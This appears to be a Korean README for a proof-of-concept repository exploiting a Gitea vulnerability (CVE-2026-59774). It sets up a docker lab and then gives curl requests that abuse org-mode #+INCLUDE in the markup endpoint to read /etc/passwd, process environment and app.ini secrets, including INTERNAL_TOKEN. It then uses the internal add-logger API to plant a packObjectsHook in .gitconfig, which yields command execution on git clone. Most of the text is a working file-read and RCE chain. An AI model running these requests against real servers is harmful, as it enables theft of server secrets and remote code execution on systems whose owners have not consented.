CVE-2026-59774_docker

1. gitea 가져오기

git clone https://github.com/FlowerWitch/CVE-2026-59774_docker

cd ./CVE-2026-59774_docker

docker compose up -d

2. 초기화

gitea에 접속합니다

http://localhost:3000/install

3. repository 생성

new repository는 기본적으로 공개로 설정되며, 별도의 추가 설정이 필요하지 않습니다

4. POC

curl -X POST "http://localhost:3000/{username}/{repo}/markup" \                       
  -H "Content-Type: application/json" \
  -d '{
    "Mode": "file",
    "FilePath": "poc.org",
    "Text": "#+INCLUDE: \"/etc/passwd\" src 123\n",
    "Context": "/admin/poc/src/main/"
  }'

5. RCE 부분

1. 먼저 /proc/self/environ의 GITEA_CUSTOM 필드를 읽어 gitea 데이터 저장 위치를 획득합니다

curl -sX POST "http://localhost:3000/admin/poc/markup"  -H "Content-Type: application/json" \
  -d '{
    "Mode": "file",
    "FilePath": "poc.org",
    "Text": "#+INCLUDE: \"/proc/self/environ\" src 123\n",
    "Context": "/admin/poc/src/main/"
  }'|grep 'GITEA_CUSTOM='

2. {GITEA_CUSTOM}/conf/app.ini를 읽어 INTERNAL_TOKEN 및 APP_DATA_PATH 필드를 가져옵니다

curl -sX POST "http://localhost:3000/{username}/{repo_name}/markup"  -H "Content-Type: application/json" \
  -d '{
    "Mode": "file",
    "FilePath": "poc.org",
    "Text": "#+INCLUDE: \"{GITEA_CUSTOM}/conf/app.ini\" src 123\n",
    "Context": "/admin/poc/src/main/"
  }'|grep -E 'INTERNAL_TOKEN|APP_DATA_PATH' 

3. 여기에서 저는 add-logger 인터페이스를 찾았습니다. 이 인터페이스의 Mode가 File일 때 로컬 파일에 추가 쓰기를 수행하며(대상이 존재하지 않으면 해당 디렉터리를 생성함), 동시에 그 logger 필드가 router일 때 실행되면 로그 한 줄이 트리거되어 출력 효과가 default보다 훨씬 좋습니다(줄바꿈이 발생하지 않기 때문입니다 XD). 전자의 임의 쓰기를 통해 gitea의 .gitconfig에 packObjectsHook 필드를 추가하여 익명 clone으로 명령 실행을 트리거합니다.

curl -vX POST http://localhost:3000/api/internal/manager/add-logger \
  -H "X-Gitea-Internal-Auth: Bearer {INTERNAL_TOKEN}" \
  -H "Content-Type: application/json" \
  -d '{
    "Logger": "router",
    "Writer": "pwnhook",
    "Mode": "file",
    "Config":{                                                             
      "filename": "{APP_DATA_PATH}/home/.gitconfig",
      "flags": "none",                                                          
      "prefix": "[uploadpack]\n        packObjectsHook = id > /tmp/pwned ;#", 
      "level": "Info",
      "rotate": false
    }
  }'

4. 이후 요청이 후속 설정을 오염시키지 않도록 로그 핸들을 닫으며, 위의 logger와 writer를 사용합니다

curl -vX POST /api/internal/manager/remove-logger/{Logger}/{Writer} \
  -H "X-Gitea-Internal-Auth: Bearer {INTERNAL_TOKEN}" \

5. git clone 명령 실행 트리거

예시

참고

go-org 1.9.1의 parseInclude 함수에는 정규식 필터링 규칙 includeFileRegexp이 포함되어 있으며, 이 규칙과 일치해야만 이후 함수로 진입할 수 있습니다.

func (d *Document) parseInclude(k Keyword) (int, Node) {
	resolve := func() Node {
		d.Log.Printf("Bad include %#v", k)
		return k
	}
	if m := includeFileRegexp.FindStringSubmatch(k.Value); m != nil {  # <--这里施加了 includeFileRegexp 过滤
		path, kind, lang := m[1], m[2], m[3]
		if !filepath.IsAbs(path) {
			path = filepath.Join(filepath.Dir(d.Path), path)
		}

includeFileRegexp 일치 조건은 다음과 같습니다

var includeFileRegexp = regexp.MustCompile(`(?i)^"([^"]+)" (src|example|export) (\w+)$`)

따라서 payload "#+INCLUDE: \"/etc/passwd\"\n" 는 정상적으로 매칭될 수 없으며, 구성은 표현식에 부합해야 합니다. 예를 들어:

"#+INCLUDE: \"/etc/passwd\" src 123\n"